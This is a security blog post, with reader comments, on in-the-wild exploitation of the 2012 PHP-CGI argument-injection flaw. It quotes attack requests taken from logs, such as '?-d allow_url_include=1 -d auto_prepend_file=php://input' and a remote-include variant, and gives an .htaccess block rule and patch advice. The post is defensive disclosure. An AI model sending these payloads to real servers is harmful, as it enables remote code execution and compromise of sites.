PHP-CGI Vulnerability Exploited in the Wild

When the PHP-CGI vulnerability was disclosed, we knew it would be just a matter of days before it started to be exploited in the wild.

Well, it didn’t take long. Since the weekend, we started to see scanners looking for that vulnerability on our servers and honeypots. And now we are seeing sites getting compromised through it as well.

Understanding the Attack

So far we noticed that the attack starts in two ways, either by checking if the server is vulnerable using the ?-s option (which shows the source of the page): – – [06/May/2012:07:51:36 -0400] “GET /index.php?-s HTTP/1.1″ 301

Or by including the content of the PHP input (or of an external shell): – – [07/May/2012:17:16:58 -0400] “POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1” 301 – “-” “-”

If the attacker succeeds, it will upload a backdoor to the compromised site in a random location of the file system and use that to continue exploiting the server.

It is also important to note that even though we are only seeing those two “flags” being used (-s and -d), php-cgi has many options and any of them can be used:

$ php-cgi -h
-a Run interactively
-b | Bind Path for external FASTCGI Server mode
-C Do not chdir to the script’s directory
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-e Generate extended information for debugger/profiler
-f Parse . Implies `-q’
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z Load Zend extension .
-T Measure execution time of script repeated times.

Attacker IP addresses

Via our honeypots, we detected the following IP addresses trying to exploit this vulnerability:

# [Number of hits] [IP Address]

And this number is probably going to grow even more.

Protecting yourself

The PHP guys are recommending the following .htaccess hack to block those attacks:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|- [NC]
RewriteRule .? – [F,L]

But the best option is to update PHP ASAP (a fix is available for it already), or stop using the CGI setup and move to to the PHP module (if using Apache), or Fast CGI.

More details to come!

Update 1:
*Facebook is playing with this vulnerability and added the following job link on their page: (for anyone that is probing for this):

include_once ‘’;

  1. Until WHM/CPanel comes out with an update, is it possible to thwart this at a server level, or would we need to add that snippet to every website’s htaccess file?  

  2. good stuff. keep it up. have a look on this also.

  3. In C:WINDOWSsystem32LogFilesHTTPERR
    I discovered entries such as:

    2012-06-20 20:59:21 59537 ***.***.***.*** 80 HTTP/1.1 POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp:// 411 – LengthRequired –

    Using tool:
    That URL deobfuscates to:

    /?-d allow_url_include=On+-d auto_prepend_file= -n/?-d allow_url_include=On+-d auto_prepend_file= -n

    Note the IPs referenced:

Comments are closed.

You May Also Like